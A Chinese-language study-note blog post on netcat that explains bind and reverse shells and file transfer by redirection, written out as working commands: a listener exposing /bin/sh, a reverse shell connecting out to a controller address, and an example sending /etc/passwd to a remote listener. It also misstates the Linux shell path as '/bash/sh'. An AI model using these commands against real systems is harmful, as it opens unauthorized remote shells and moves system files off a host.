NC工具—文件传输&shell获取功能
前言:此文主要对NC(NETCAT)工具的文件传输和SHELL获取功能进行学习记录,不对工具简介和基本功能进行赘述,可参考我的另一篇文章Web安全工具—nc(瑞士军刀)持续更新
一: 基础知识:
1,文件传输基础知识: linux下的输入重定向"<“和输出重定向”>"介绍 输入重定向: 举例:cat < /etc/passwd : 将passwd文件的作为输入重定向给cat命令,其效果相当于cat /etc/passwd 输出重定向: 举例:ll /etc/passwd > websec.txt :将ll查看的文件信息重定向到文件websec.txt中 2,shell获取基础支持 正向shell:客户端主动去连接服务端,控制端主动去连接被控制端(通常适用于被控制端存在可以连接的端口) 反向shell:服务端主动连接客户端,被控制端主动连接控制端(通常适用于,服务端的服务端口存在限制,客户端不能直接连接,但是服务端发起连接未作限制的场景) windows下shell文件路径:/windows/system32/cmd.exe linux下shell文件路径:/bash/sh -e参数:程序重定向
二:shell获取
正向shell获取: 服务端监听555端口:nc -lv -p 555 -e /bin/sh
客户端连接服务端的555端口:nc -nv 192.168.1.4 555 反向shell获取:和正向shell相反,客户端建立监听端口,服务端进行连接 客户端端监听666端口:nc -lv -p 666
服务端连接服务端的666端口:nc -nv 192.168.1.123 666 -e /bin/sh 总结:不管是正向shell还是反向shell,其目的都是客户端控制服务端达到目的,相比正向shell,反向shell的稳定性和利用程度更高。
三:文件传输
原理:nc工具的文件传输原理其实是linux下的输入和输出重定向利用,服务端将监听到的数据输出重定向到文件中,客户端将文件通过输入重定向发送给服务端 举例: 服务端监听333端口,然后将连接到333端口的数据重定向至文件websec中:nc -lv -p 333 > websec 客户端将/etc/passwd文件输出重定向给连接服务端 **总结:**不管是客户端传送文件给服务端,还是服务端传送文件给客户端,其利用的原理都是linux下的输出和输入重定向,但是需要了解的是这里的输入和输出重定向都是覆盖性的,如果需要增量添加则需要选择">>“和”<<"。
参考学习文章:
nc基础使用和简介 Netcat、PowerCat用法详解
|